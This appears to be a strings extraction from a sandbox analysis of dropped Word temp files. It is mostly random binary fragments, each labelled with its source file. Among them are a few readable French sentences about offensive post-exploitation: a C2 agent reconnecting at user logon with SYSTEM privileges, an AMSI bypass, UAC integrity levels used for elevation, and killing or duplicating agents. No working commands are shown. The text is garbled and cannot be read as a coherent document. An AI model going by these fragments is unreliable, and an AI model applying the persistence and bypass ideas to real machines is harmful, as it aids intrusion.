IxVf-5+1UjW@7W!}*L;ON."SZ^a|BZ#nb'v=cl}#3b0i'?O"-$UCG!&um{iAtynM~;O:UH`}~e0g^_-C~L54[a,wm'B.A3VC'>;W6CMc1P!Og^`0

Ansi based on Dropped File (~WRD0001.tmp)

iyEGp]KQRvY78k8nEwaj)Wjrp=hxc~8k{W?u5UU5

Ansi based on Dropped File (~WRD0001.tmp)

iyq`$zTXb>+x<Lh(DO

Ansi based on Dropped File (~WRD0001.tmp)

Iyx7>_L:Oed:sgpT,@

Ansi based on Dropped File (~WRD0001.tmp)

iz%1H>a"YPJoMtcfDD(i$MN#MpF})L}v&|,X!le9{39{{*d`~>av7Zpt#*BDh>#jH96PPg3.S"ycJ=E08!dx:{

Ansi based on Dropped File (~WRD0001.tmp)

IzKd-7S;*S!5

Ansi based on Dropped File (~WRD0001.tmp)

Izx7ev(Du

Ansi based on Dropped File (~WRD0001.tmp)

i|^3Ai {wX1 2}-xOXmF5?vS?\v!Zc6<

Ansi based on Dropped File (~WRD0001.tmp)

i||-03ZMsL2#ej3st?#yAktQq,7PeA`"zr?4CW*((((((`32q4M*nZ)/?I_sD`+mNGQx$XNkY*]UudDuhS_1D9'H?'))?v!j=7Ny},=^[M(|>\N9KOE&("75aT*J6|Mh0]Lv's={v#3=);bk<#P:kI

Ansi based on Dropped File (~WRD0001.tmp)

I~cW4jy5R.#n._Z-IA\ *V>^Z+uqb+m/=?Q{X>

Ansi based on Dropped File (~WRD0001.tmp)

j!BX\sfrzR4*=vA}rN?

Ansi based on Dropped File (~WRD0001.tmp)

j!w!"**.p @D^nunp[vXUPAEm$%{o{odNB0Q{[Oy[*j|2:HL'scoP`6W,W_lbhD%]4^G47w{~?E19|\)QAd`c&h%7<T(l/lCq(-CXFQg2.c2-\=P[t{ZWgHDe)=@C(vZ

Ansi based on Dropped File (~WRD0001.tmp)

J&M(2}'7. Hs#h/a)Z,uW"{V&7

Ansi based on Dropped File (~WRD0001.tmp)

j).P)1u5=[eHg3oA'gZQ"-,^m;kytn$UV>6@;Q%"EET424IeQNBLj)&!:abR)T"n)"-}#%qIZ{IZ

Ansi based on Dropped File (~WRD0001.tmp)

j*rfxM8I>}o<]X8\*Kb9x1q?!-dM!Q9s>_GJDr&4|<,s4^`|CO1A";Bi`4s=N~!Bf61Zg{6_RlR9"Tho*LX]{okc[]PA=h]m>d+ji;cI^o_P

Ansi based on Dropped File (~WRD0001.tmp)

J,c2[%vU:Qt h=hyxC'g|mK[Ibb:O@~V|s^>8[Li"-u@wC*8C q&4y&}>M 8f<j"f0uXRf6y__X)}+c}8ta-!(M~aq

Ansi based on Dropped File (~WRD0001.tmp)

j._tKae!6<h7{>.9tK~X}z)c

Ansi based on Dropped File (~WRD0001.tmp)

j/F'gI;R?`N$eY/ETzZpG2.D#9V#`o_Y6O?eu~i?SytC|2I7M>U<N}{y7/>*Kklk?O8mwEOPZy> ~WXGc<s~|

Ansi based on Dropped File (~WRD0001.tmp)

j0:F-j7d:4f+5SK1 W*QN'945gdm()-V$|1V@16_?q{6;}SH1nM^.xkMsDqy%.X]3*eYanc]Y9av|8T]Z>bNvBVsUD9-5

Ansi based on Dropped File (~WRD0001.tmp)

j5h8 y}M"-_M-4U}SF4FPgyn@cPQ13AcPQ1AcPA:a1caAr^-G3/^iXL&$FN3K&x0O+e<JhO01o|x0*]rajJugdVs=D'B>sJ+UdxG[wE-]a/VSZ&<_W6t?+Yy=c0/8^XX>,8gx.>+,GrvlgsloOz_>Zg?l[v~S /?=a:./^\k-`f6NZga}/[chn.}S'|Y'3xHdaL.,!jm=t=Eti@yus+4QUQQQ]?5*

Ansi based on Dropped File (~WRD0001.tmp)

j5hlj)F!ZPzN\{_'X#>x}{/Ut!>KzZE:vC

Ansi based on Dropped File (~WRD0001.tmp)

J7v1{l1{0Lf_'5&+e9A }B'

Ansi based on Dropped File (~WRD0001.tmp)

j91j{%;.K=]/ai3ZpIqy_3-tNL(>*\/a1o:/za(JPEH@Bkv`4)#mr`HH|tIONR+8>|r^K~!4n-?A\s;{0+ t&c~vzy'y{@$kML2n8Xt+L(.<?''C6Vu,YCj'qX!JSN76j7boTW%nKI(dF%T ?L[x]z-M@(^)_xa}:|.R&AX[e9Re5JkF)AH||^_P;CVWyONEPNR8R;=[st XLpv\V!.pJ(j<;pVuU!i|>\M=g<^hNd`F|7Sw04}xz>>#R]7<5+/6FgAC)q9x{IaKdJ;>k"${0}L1r.W6zB7\H?Yc-|hrUqp>EtXSAyI

Ansi based on Dropped File (~WRD0001.tmp)

J;7FM|GD|p10oU6>mWNg0y[#U,+rznc]} \x dD`(=Ym4q%1P4m `g*R%O1OPv;aHBtMnyyxR-w>@5 xzm}7o_?n8Y\p{7S\x}DT;O;"iv=l@D@=dp?PF/Hq%BXX(AeU2gSL

Ansi based on Dropped File (~WRD0001.tmp)

j;qz+JOk'(y8pV`nmSi}gT_9i!bL<}NHk{9rtE*lRif=P:oY7+i-P7Q_VYQC^P

Ansi based on Dropped File (~WRD0001.tmp)

J<_:f\\/;VG2AA.70nN"E,5Qc{8[bb\?c_t!{|gi@~?c:U_qb^!-F^o2}Q}

Ansi based on Dropped File (~WRD0001.tmp)

j<c<Vr9{Qg'Whh2vbGc_Ug"b(3u> ki:Q)Yuj)

Ansi based on Dropped File (~WRD0001.tmp)

j=2;?GgV"!ja-(

Ansi based on Dropped File (~WRD0001.tmp)

j=`qWnA@~!=c$&4e:xo

Ansi based on Dropped File (~WRD0001.tmp)

J=ziy|vn/3}y.w~G%yY=7WgE^~/Vxy+x4VhNr~gB[U?X&(.qwkSve,;spjigg%%KqaX,I_XTX]

Ansi based on Dropped File (~WRD0001.tmp)

j> P|P@gL`q;

Ansi based on Dropped File (~WRD0001.tmp)

J?+-R_y|q,>@8f}Y~RtH}H8Xn]?c

Ansi based on Dropped File (~WRD0001.tmp)

j@)hZ>8t+;6u;v#JN

Ansi based on Dropped File (~WRD0001.tmp)

j@g?df9peD6c=%Yk&#\mG{*'NHgNK)/A]J){A]J)RJ)tPRJ)7RJ1R.RnLu)rc:K)

Ansi based on Dropped File (~WRD0001.tmp)

J\<iNT2o

Ansi based on Dropped File (~WRD0001.tmp)

J_Jib"wFU)Ocgyt'V:@a&RVhg'lvwNsd8i1R~=;v&Q?W;VJD01q}os+W~Ml%#&x/}c_9wkR.X{o^(j"Y$M/tH0Y.

Ansi based on Dropped File (~WRD0001.tmp)

jA1AOR6b\l73R8:WqCPA9Xsrb#7colscZQb33LX^w6W[GLwB+Asl)

Ansi based on Dropped File (~WRD0001.tmp)

jA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA7 ?1DJ

Ansi based on Dropped File (~WRD0001.tmp)

JA< uIC>lu.*"7kUk>97QfJEhyR"^%L%vJr95{;Y46\S.3;ko@!n$X&=\fft>T?, UD\o/#L4gRrA]q~F1iM!:[s;1#z^B0aL'sy7Okkg*&*h!

Ansi based on Dropped File (~WRD0001.tmp)

JAiUU]NNZv)[i.~BITWds~svwj.~eJ4{

Ansi based on Dropped File (~WRD0001.tmp)

Jamaledine AMARIR (

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

JB0}nj[5ll?06}\Iw"{1-u_2aq*Rao6&Wx%b-S$c=3wV;?FbK3vR9c]Xb$Mi,hC9|fYK?]m`MASAOg97\bk'VlwdxC?`y}0sh;vlw~MX5({yl>nbq9+hgRKuG/8"1=$6Qc{MTm$t4'ppVoUni/,x'}\9PV$]+yY &fopCSI13KK}#9TXr9l;};5?dsW.BXfu]0!)6LVp3y,]G]u!I%<fvQNNG')AN3smrd>z&[;';Dc]5OkbsrcF"AWYfo

Ansi based on Dropped File (~WRD0001.tmp)

jb4Q^>H"&H~tI}i(LpqRbhbZ^(T-"7N

Ansi based on Dropped File (~WRD0001.tmp)

jBHLy|<r-K$&3#Lzz]7

Ansi based on Dropped File (~WRD0001.tmp)

jbjr:~R]]mzh#4Z<XGO?tnstbsNW(kw/>OyQ;,%1||*t2VIdRK7XOHEM N|lHF:

Ansi based on Dropped File (~WRD0001.tmp)

jbv$Ea~m{V<(DsJ+d.8GamGubr:=/H3?(K{Qro5oeC:,2B2}Zq?r,3}e2~^{^k"z?acyiU"]kXxTW~X[s~\tgoB^_L26?uZuY/<{[X-[Xj?E!\|o|7<6rz\guMvrFoUz)]gE9/R4$h:l[f>~f#{EUC[}s7Ii/;i{+oYgc'X#_7~[.MF7

Ansi based on Dropped File (~WRD0001.tmp)

jC`j]t]aiR*{5O_AM|Rpaso#wV98Wc;}C\lWJ)cUz5&Co95]=dANVHB3RJ)^u63<\

Ansi based on Dropped File (~WRD0001.tmp)

JDsiiNv?qJD1dVz=!>pYFGKGKhOSqA55bo"Mf`N\

Ansi based on Dropped File (~WRD0001.tmp)

jdUk'gPB{~lyl0W]S

Ansi based on Dropped File (~WRD0001.tmp)

Je91InTU+nTT\Q?\Q.sx;or~WfE:/zkfl

Ansi based on Dropped File (~WRD0001.tmp)

jeju|q'3&5

Ansi based on Dropped File (~WRD0001.tmp)

jfQ!K'Cuo?wG}:.ttp\oeWnr+4HZ9?"{xSReuwp~<,s-Xwt{flA?8p0>6+>HE$|~upg[pr8(@l7+B]Wl<~+W=0e~V^^_O?>!l{matpq/O_q~}9}:{>Mt^_[McOK9hRv&_iH[<yOz<gJlZ~$8~9o_kuYjz'oV.E^tlK%tKymWW=

Ansi based on Dropped File (~WRD0001.tmp)

jfX*Ieabf%q#GjEPw@

Ansi based on Dropped File (~WRD0001.tmp)

JGW"~j|@/ThZ@S@qTgowgO

Ansi based on Dropped File (~WRD0001.tmp)

JI\UBz|CD}1Q5d?$Ug;r<(,'Ou%AS4=?DMaBt-RLkv2CXcB]M@0FH

Ansi based on Dropped File (~WRD0001.tmp)

JIownc#xqYMx|&D{+M.fM)>)iA~xA9/rQdgV=cY@1|l9}d<`oX:+%9BI8Bzc5

Ansi based on Dropped File (~WRD0001.tmp)

jJ,eQAy"}Oga<oG?{z>dK?`/zS5EY1>l?-P'!As=WJG(B|K^ UX/

Ansi based on Dropped File (~WRD0001.tmp)

jjJEL&ob8_%Y:l*uq`D;Y<B8OK/|dJ|bxt.xe<m"ey

Ansi based on Dropped File (~WRD0001.tmp)

jj{\_;e\3B%K9Vzog\3_kP\yvl<TvPJru^{//t 'uPNp.swq^{XJYs|L6,<e<2/A`!98&DWAf]e||?^!g9e6'9nc=N9Kk9k>cd1:-d3`/??~=l!sR9A=/4K|AN.<a/"Ew~/9Q}<7ck9N-sgrs>?<'~Ew/'=3Lgo]9%^d/#>xfyd&u{YJy/W|rK_d=}aK4/._8MpG~OI`yv#87wSw`]?S/u70-?&23/lwYc^&Og>Ab58x

Ansi based on Dropped File (~WRD0001.tmp)

Jkkhv#WeC-~?\t`=6H\^bqy_r6Q]$8Au>R\by}8f8&UfuiG

Ansi based on Dropped File (~WRD0001.tmp)

jKoyzV^!;Bt `zb@%$ KV

Ansi based on Dropped File (~WRD0001.tmp)

JK|e!3!w]]rsS@`]\r!19Q9~6NzdvA+KBY5SBlb!yAKCKxbLb:RC8(6:=|MZyzR,pwS_@@r~>ow|u

Ansi based on Dropped File (~WRD0001.tmp)

JM6cEgz~kkkl&Os

Ansi based on Dropped File (~WRD0001.tmp)

JMZMJaPt|xY<;`o~~XQ8GFNr7*s A.&dJ](qVX@40WSLATZ&#f#

Ansi based on Dropped File (~WRD0001.tmp)

JNo5zbiq%Dih(dotW

Ansi based on Dropped File (~WRD0001.tmp)

Jo,3(IDAT+nqocd|jI?X8<,gy16i7},9p.......Bqz!POxHp{J?PO8U8KoFqz,zL_%-5f&ewPc[`]z6zSv@&,`kg}8E|E\*m?>6C2VHV?m0p?l_%>T$1>}1C{?IW)(94UYa|{w|gLcXJ<~J%q];0G<qt68uQK%lImW1V"NZ/urxkOOH~p}i~ZnMl~@5Vg7kYucA^k:lk_`Kzd31?L

Ansi based on Dropped File (~WRD0001.tmp)

JoV>nJ[a?{c

Ansi based on Dropped File (~WRD0001.tmp)

Jo}?{Fy}vyvg=fNU._2%W{(%$@w F&@#[RUwu$&s`/982qkadS$NY|7:KaP/sE_?#[2OmG.

Ansi based on Dropped File (~WRD0001.tmp)

jp>u&.$a'>)^"[-nw3(/vyl'Q%:+8C&O?<3Ti2z UFJO_^1u)yr_5Y'^ngk$v8\m6[U[s@?yOT=iC^VBs.]4Bk?CO<$:"v-3Vv@Wd$f&o*!J['7ki,Cjr_!

Ansi based on Dropped File (~WRD0001.tmp)

JPV-YDlg.ze4c>i\s4ZCZ-bm9mhBzf3+Vh[LWC#kVU'"PtoF>Q(j58G4q_5AJA5UhGLhuQG0/huZmhMC&N* }VhevXNfwyBOKuR?4*::*42]F3" OY}yP#Y&f^v.6k(y3BKFmh>$*o=Qc}h&=^r

Ansi based on Dropped File (~WRD0001.tmp)

Jq^WMm}}W^|[<8b?^,1*7V@$W30XI@i_PTj=wk0`W??{,p`OuGo'\<zuu?1)]^=yZ]wewq-hW =+wfibE@\2J

Ansi based on Dropped File (~WRD0001.tmp)

JreI&B9H|\Y57.RIIluYhBpp`L

Ansi based on Dropped File (~WRD0001.tmp)

json : ConvertTo-Json ,

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

jT@#7wR#? >:M%2yz%<\$t:ZY''.Vr6(upHi8KNdzoed;.?9

Ansi based on Dropped File (~WRD0001.tmp)

JTrF_cwUxzv+$b1L^g`w=I

Ansi based on Dropped File (~WRD0001.tmp)

JT{_][_o?-b,o\+gW~!W?yt

Ansi based on Dropped File (~WRD0001.tmp)

jv4RI4k3zG_@?.

Ansi based on Dropped File (~WRD0001.tmp)

JV?cXie&$!kSl~ZHFhL*#b(xD7cz

Ansi based on Dropped File (~WRD0001.tmp)

jw]RpyPs

Ansi based on Dropped File (~WRD0001.tmp)

jw~Wbo<UJla(~5:I]p7?M|d+{Ttt7Tgxp,7gL#ofr `?!Boxu%ITPWOA1l*m"gmT'kx2C.

Ansi based on Dropped File (~WRD0001.tmp)

JX3o8D6J>^BXcq >]-f7I"=ixy>u_4py6{6SKK&

Ansi based on Dropped File (~WRD0001.tmp)

jxN:wl#pBwj/@&078{:Y,h">"jTj";?azE9t))HV6b2E':iYu+E'WH%xu+Z)Fje&!/\F*0=A`qz6oRO\P>"}$:C!rr+qbFV}

Ansi based on Dropped File (~WRD0001.tmp)

jXQ(!7'iwRtz#A5$VBS5Shbs{s&915a_qN!ysO.+45oh+m+.Er1OA\?pEr,rn-_~?sF(#q"=)Uh..{B^gGL3kpoocW1al{qyR$K>Zn'7

Ansi based on Dropped File (~WRD0001.tmp)

jy=UCCr`yzR$-J*t<:9S\\9>w"*o7$~wVZ+lWt1q/#zZR|@

Ansi based on Dropped File (~WRD0001.tmp)

jyaBW4,_ZnkW[P@+AQ":Dy(KpmJPg1}nw]w

Ansi based on Dropped File (~WRD0001.tmp)

JytqvoHMVlC}w?m"{kmq/f=C#k|6wTxSbDs#1I

Ansi based on Dropped File (~WRD0001.tmp)

JZ"msyIW%V|uJg^Nb{-3J^fO)MVX9Crb?!!One_+:3U:4ie18wj _,7Dt[H0}R-OSNhyjq~g0.z3"WBjWBHH+eH~kFhe-st5Xq+5_KD^R?c!N|o

Ansi based on Dropped File (~WRD0001.tmp)

jz2S&aO&)~jd"=W#=Ns*e/Om 1Uq

Ansi based on Dropped File (~WRD0001.tmp)

JZ;fI*!%+w<l=Kb aQ7*ZbQ]7W>wuoo^5NUfgLX-v}uN0b?w.G3|q3VmT/3g;'`g%KD<{VgH%?.y+a`k,^~Xi((&v|*U<|

Ansi based on Dropped File (~WRD0001.tmp)

j|[rcVWF.Gy8j

Ansi based on Dropped File (~WRD0001.tmp)

J}b =N,zju=lu_ehzI70@~}uwT*8Q;>K4>VCx}?pCbV4:"s%f``XZs

Ansi based on Dropped File (~WRD0001.tmp)

j~}FW/s[pW

Ansi based on Dropped File (~WRD0001.tmp)

k"|;xo=`w#,Lx0;yaulwlOK;,4r=jD,m}I6U(o2DkVIgI^vWr7

Ansi based on Dropped File (~WRD0001.tmp)

K#*XFWUFmfQX{$3E!\\0"-]-O

Ansi based on Dropped File (~WRD0001.tmp)

K#8O@JFAy05:Yy_,)4q<

Ansi based on Dropped File (~WRD0001.tmp)

k#>C6l-NLa&6=p/L$s~z~d|TWoaE0dM?Za>VO|,Qi)}O')3uQbwo;Jvm@W(SDUN3>6FHamW<7qZ4L\iD<Jh3=gpyf>3qy_x7}]7M-g*K&V{.=surma(O<7lc,Lg*L/;b`~?Sve<H}@vIH+r-M6&n<"gN',Qxtv,ky%QLlczmtz_sP17}{X;nz><S8VC"MV6B<8Mw;[d;ra{|#P?8Wy|>Pgv~gDLoO~84l?{R3rxi{<_uM`0\TQx:Ae=e]F<s<`O4S]K_fO/5fo

Ansi based on Dropped File (~WRD0001.tmp)

k%>0#y:F:>?/_R&sT,j:.i)fI$

Ansi based on Dropped File (~WRD0001.tmp)

K%wI.e*B]!#$qYq&{7A~'E,?P&p}+gW/0G>'|:iNN?

Ansi based on Dropped File (~WRD0001.tmp)

k%Y_K[/(}F

Ansi based on Dropped File (~WRD0001.tmp)

K(KOIU^k1zFGUtOr6WP_

Ansi based on Dropped File (~WRD0001.tmp)

k(Oz|(&83lB_ <9&C8tKstSRFhV%biMtAgsb[R/>}]8])]P^R$%;I9|f8YYusWhO(?>Z_0_cA>^-<|1dZhK_9Ygufy_7>U;{+

Ansi based on Dropped File (~WRD0001.tmp)

k+V7*Dn8c'h 'qP#}zdmM@{qwSR.?P-sEyeD{E9CkDDOm,938",_ &]_(<hLnq,1!(|D]R?4(,O.

Ansi based on Dropped File (~WRD0001.tmp)

K-QLgzk*?,Yh4Rg-]W9'~Z")#%x\4?Ov`Ye95;C4*F#:03<M7S"ekS3+fD;J0TG7P}1gx!L \,|Xg6Nd<;I"52HJ(b@{

Ansi based on Dropped File (~WRD0001.tmp)

K/8DBRYEw9;\pVz|ys!@ZK;E|&0.]vbB,tM\?iH0O0m=nYJPFE?.3u[xW

Ansi based on Dropped File (~WRD0001.tmp)

K/_-[p[ovE OR'se8?EDpEL&OL#q\h"`"Ai0?y8DeXr

Ansi based on Dropped File (~WRD0001.tmp)

K2-d9E@A.3[&J,NP]r*R>w

Ansi based on Dropped File (~WRD0001.tmp)

k4%*nES0en0xLF0G&Mib

Ansi based on Dropped File (~WRD0001.tmp)

k7?wugG.D6GgBi7*}brvW1IVf=>g`/yzwE?s~w5&zy'j1B>MstbCcgHcV20c%35|Q%).?u:YG~/|6@z

Ansi based on Dropped File (~WRD0001.tmp)

k7`P']efjW2LKl#Yv-$WP~r8QbLagf)H^%

Ansi based on Dropped File (~WRD0001.tmp)

K8~9W}70~sVpzYVG-2ZcB&%SZxv(EIW}/bwQxv?oBVbm@>aRn

Ansi based on Dropped File (~WRD0001.tmp)

K:7y>4%'aK3ia@+qx'N>L-IL>e{n4KG%T<'ZD?pzzCF?!g|2H`~O6eEn9sqbg;qIrSEs@'e|2R=fuO^+:w{B\Gc1YL{UBV~6>/w

Ansi based on Dropped File (~WRD0001.tmp)

k:khLpP+HTQ4_@s;kh\S`:BQhmZC#j

Ansi based on Dropped File (~WRD0001.tmp)

k=)nBmlVg`=vHcFi")b)b)AptEfFm(wp3~}U<cO

Ansi based on Dropped File (~WRD0001.tmp)

k=rxCjW*4~R|(\$A8[OIkv`^d);32222222229Kvq

Ansi based on Dropped File (~WRD0001.tmp)

k??psrk\K+}]\}z]|t[T

Ansi based on Dropped File (~WRD0001.tmp)

k[=T\iv|Jk2Gd9;QRtc

Ansi based on Dropped File (~WRD0001.tmp)

K[C1s==x?)S+T#9:&VE^?=5x.piF+{G"!%hRE&(ZDkoQ{}!Mz>elIOjdIsRMkJ5GqV]kE!\UT)QRm;[DIyMV|-p *4VTX[R{\A,g{D@B4o#_vV{]yP

Ansi based on Dropped File (~WRD0001.tmp)

k\vSidL.0'/c|;j3[.-Sh&e1dcQ+&_n7nESU{nvzdy^F+_wW\~+s'AL2Wj&b7u7._D|6f<@P7M^wjH`7?V-pXvM:dtL4_f4]d_

Ansi based on Dropped File (~WRD0001.tmp)

k]hq5GC?CI^e-UL*.W|D?A

Ansi based on Dropped File (~WRD0001.tmp)

k]TdQyxn!g*Gn.Sfs~Ms!#EGI>%B0FU3dG,zC0H3LUc*-q_-,?1m`8N

Ansi based on Dropped File (~WRD0001.tmp)

K^'`9w|Ir\6

Ansi based on Dropped File (~WRD0001.tmp)

Kb@~s9-XQ$adJN|FG@S)j{J*>&j

Ansi based on Dropped File (~WRD0001.tmp)

kc`AJ>Lj~0{)WrI+y,3/Qi~E%>OB.yDZ6Y6O[m]Zy 0}%OoZb[LzbKtLKlKUQ~CL}pK#Na"/H4+f_Y?1>[85%1ASc+H*8rsp-_5o:g\6nGH<8xN}e>QHw_+79-8z%]^D<1T$auZV|`pO$p*/pO8hhQrqVHV=/^.7Y .nD5sW/R"cwh8#9:&\?,Sx<0DX~ZXmqP_SJK*%C'7Ruq7Ca<}aN3m9|,q}%<Gp:?OH%D@>&+Fv"~w~e|hS*_"ET}H:<>y+

Ansi based on Dropped File (~WRD0001.tmp)

kD<E~\6szEqG7N2'2J0Bw\/xY]$=e#ef;.C7naj_1mLB3]'/zy{i5

Ansi based on Dropped File (~WRD0001.tmp)

Kh^.n9iju]usngvi&<l=}06AMz\HU@}!Nglbg~X9$E&]*%i:l-$gl0*}1bP

Ansi based on Dropped File (~WRD0001.tmp)

kill <NAME>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Kit!g^]~Nxge}ku1=EC.|yKyDNL,$(+41n?SF~C(?U~m~*4xA# LR{(A&w$~0m;>qB[t1^}46@

Ansi based on Dropped File (~WRD0001.tmp)

Kk'Xh'Ug,5y+YF9o|@HCOXtt[mcA

Ansi based on Dropped File (~WRD0001.tmp)

KK,b@o=uw0b00b<!;(|v*,<&ikrxZ<Th-)ky62@EbvLUNd-UrQ?w'3W'I%y#4LtN'u!vQi@=/4Z59SeA M1#t1^Jq/\2222222?>'L~~mX5

Ansi based on Dropped File (~WRD0001.tmp)

KkgI^ MRRcD/k1c."^Wi0?\p#z&mXxD07+})fGSkRw2I/ls5"z\xFgbA$nHl/1ja')?-Z~XLlTI%H

Ansi based on Dropped File (~WRD0001.tmp)

KLOz0E3me$9OS]%3\09N,6@f++7`6C

Ansi based on Dropped File (~WRD0001.tmp)

kM#T.tZ4IM#~@*6xc~ 9kqTK^KcdtpBgW&{\\U$*]B,MY57UZrI

Ansi based on Dropped File (~WRD0001.tmp)

km\"x"tW)Ml|XSs/e:R^p.LnS[Q?T{gx4|=vL[h=CH4p{2M|TD4.3xbb#3c@/t$_BgT

Ansi based on Dropped File (~WRD0001.tmp)

kN:;0\P`v_,`\\V0fIOZ<18'-;'[b@DO~\"$)9vk@A*ag%W'-Z;,*6'IPVX:mq\{&u'z{]5BdjXLD&g48-k:Qs->fU@k:\d.[9V~6!+%R7h]s;sUs_t&1XN':3{tm1(:w$.@2L{4|8_}Uk\k?X_LG?Ux#='hF},'xOJ~pZd$cB<U?d(l@#{Y#7-Ug2jpUU_=qA3

Ansi based on Dropped File (~WRD0001.tmp)

KN`]|<<T0$Ukw>@O0p<lPo$>gyK]vWM1_p!4yf`N\Te0@_V!nu+pXoa

Ansi based on Dropped File (~WRD0001.tmp)

Kncu]d)(|WypS~o-Q8cGBAAAAA?AHRcF?l8jRgeHAj113=nv{jd^Ej6b0,3_.&XY0X]yXf'1hG1LM/_?a>gN;y>5mh../^j+m/icB0&c.rZFf2EfAmR6{G[f.J=3N'}yZ2,YXN!i%'gfelZ)}

Ansi based on Dropped File (~WRD0001.tmp)

kO)7,~jv6oX4m$4{ORKDR53R/gy? A"HHd>~;}g`0CK/Dxv<@PhCcQu[A`^lK{?rzrztf>nzaxdmtj&":F0B/G399QB

Ansi based on Dropped File (~WRD0001.tmp)

KPs}v!X9dW5xwR>`-B%b#Lm.Zlv

Ansi based on Dropped File (~WRD0001.tmp)

kQ-V5H2s'7BO}Aq6Z'!jW][SU[Cm_4*"[(*!}6Nu4d3m7}iU_];+4.4|m4nooz99FM"o$><ls/{zE/5]WAU7_=_M?KUyL})wJV{K?/7gdS~/a{_mTa/t"%Oo

Ansi based on Dropped File (~WRD0001.tmp)

kqh:84L8|B#

Ansi based on Dropped File (~WRD0001.tmp)

KRh|~_zy1`/93=9ko+HJLP?}:A)4s^\Y&|6N[<hb/BS?I`,YQ!1|B7c~hc3{`_5- 2=:1SSh{\&&Q=<<8/zfl~_y@gqyn#nvz0

Ansi based on Dropped File (~WRD0001.tmp)

krU-Xq\y{g~mt=_dys~FY%}_/'8Rhg2gsq*)?~kk#|i*03\.hII3Lfoh{x[hU5n@vjoZ4kY'g{2=>`@@t+h>YWX5MGd\3`mkmQ`v>\gD~J}y6si9OvUnx:Pq'>1bv~,iIWnz<?i/e0?hw~+g^z%H"A}w

Ansi based on Dropped File (~WRD0001.tmp)

kS5!Ng,+b_yCU.lb`Y

Ansi based on Dropped File (~WRD0001.tmp)

kt!IT!IM'%V4nE5>k+zS"bK^E4:'=_:U'|ATW InvpC 0/y.VL7}`I(+b+;tT=DKd}BJo]&ERocNR[Q^4AGF)JMB #####/|$P0nNG.A`$L(g-$w5lQU_mQDL/`c4sK_`3:z(wo3t?fRzrW?KC6<rOn::y<fl'hA +.gnW.K!-+%28+_jvLVfAuLiKc;b ?>o^XA85"7:JWv;z})G&%(aC

Ansi based on Dropped File (~WRD0001.tmp)

KtYqjMHvd8v|_#"";Y6K[&JK@1w0lfM|#a}r[?gyy'oWYxSn?V=7V+#ecJ?5.W{sh^(,Vk\>vxcqY%ds[t?V;Ikr&|'iv]nyKH"ilr7[&GH&JK@10>{pE>8n^p_asf6a5/k;j.[T+A9]P6j()FGojw7juxER,#}f=e5{v;+e]C}8Ob%`SmY|wWgt

Ansi based on Dropped File (~WRD0001.tmp)

KV$7fQ~&k'4T

Ansi based on Dropped File (~WRD0001.tmp)

KvCgIG}R|H;^zS(q

Ansi based on Dropped File (~WRD0001.tmp)

kw.C?zeqs\J9a8O:|s@lh;I:OU[wCaXD3d24v]UPJ[_Td

Ansi based on Dropped File (~WRD0001.tmp)

KYoflz=.iTT<`#[9,$/Kj&CC#"[6IKilj;v'uLIq{V~m%8fH9mlmQ:"/

Ansi based on Dropped File (~WRD0001.tmp)

kz@8`KEdJ8>32\X|%o4(k-q

Ansi based on Dropped File (~WRD0001.tmp)

KZD~{]/)./ltB~%$>]q,Oge3og\vWI/9e*]r9:=Y<guec;t}fKAs<Z/1~N|Lw(:^>w/}>|U;mUO->a1}6_K,$R ,

Ansi based on Dropped File (~WRD0001.tmp)

kzk|kllltm~mmmmnnVnnn,p.pzp|ppppq(q*qBqDqqqqqqrrr(r4r6rZr^r`rrrhGh6Bh'hLjh`hL6hLhL6hCxhGhCxh'h,4]6hLhKth4(hBhGhBh/6hpUh/hBh,#hBhB6;dupliquera un agent compromis.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

kzP8x9w3cX=McSvIYBz

Ansi based on Dropped File (~WRD0001.tmp)

KzRO+EWP}\vhCQpa(

Ansi based on Dropped File (~WRD0001.tmp)

K{d,dGO}2ucvaBKf_kKW#z'N=1=#b/#GB1;=:=D~@xLG}^Y#yjo\rwV&9:4y(1GCOMVuy$M<3}y?Na3>O&_b3>

Ansi based on Dropped File (~WRD0001.tmp)

K|/.>#_l;;wI4TzV~P>^{~;+j!xA#)= ){[I>waO=o6BWVg!DGqxh"Vi'h|m'<;c7Rv[uF3l<|Z_b$:gvIB3/ym<0vy+boVlWA?%(_6|=ezwDGdi(t #~^QSO/LIM2g*

Ansi based on Dropped File (~WRD0001.tmp)

K|r;"q=3VV^d*3LTCcm<v"kM8x"gdVs=XWA=cijCgj&+>xD}7vBc-#~g-[5iZM=lwu_\QF/5azx10DofEu0UhV~g^^k=W<@4c389Sh>vg+`|{2+7A=\E]z6|5I[bXj'yh)OW55'X6>KET

Ansi based on Dropped File (~WRD0001.tmp)

k}>Es(5~'tj(

Ansi based on Dropped File (~WRD0001.tmp)

L 'j2njAD4RYRSQ+`VL9s&<9U$y*?3A1hDH>dl

Ansi based on Dropped File (~WRD0001.tmp)

L agent se connectera automatiquement au C2 quand l utilisateur ouvrira sa session utilisateur (notamment s il a dsactiv l antivirus). Notons que l agent dispose des droits Systme, plus haut privilge sous Windows.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L AMSIBypassaussi

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L attaquant peut ainsi utiliser un module sur $$$$$$%"%&%*%%%%(`(d(n((((()))))@,B,T,V,,,,,--F---.V.X.d.f..F0H0Z0~~

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L attaquant peut tuer un, voire tous les agents inactifs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L lvation de (*HJ8:LNXZ|~np0@Dr*68>hl$Gh=h^h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L objectif est de remplacer ces sorties par:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

L UAC (User Account Control) contient 3 niveau d intgrit: High (admin), Medium (user) et Low (restricted).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

l!1nhh1&f<J%UX\CZhurdC*#b(>FbQ1v

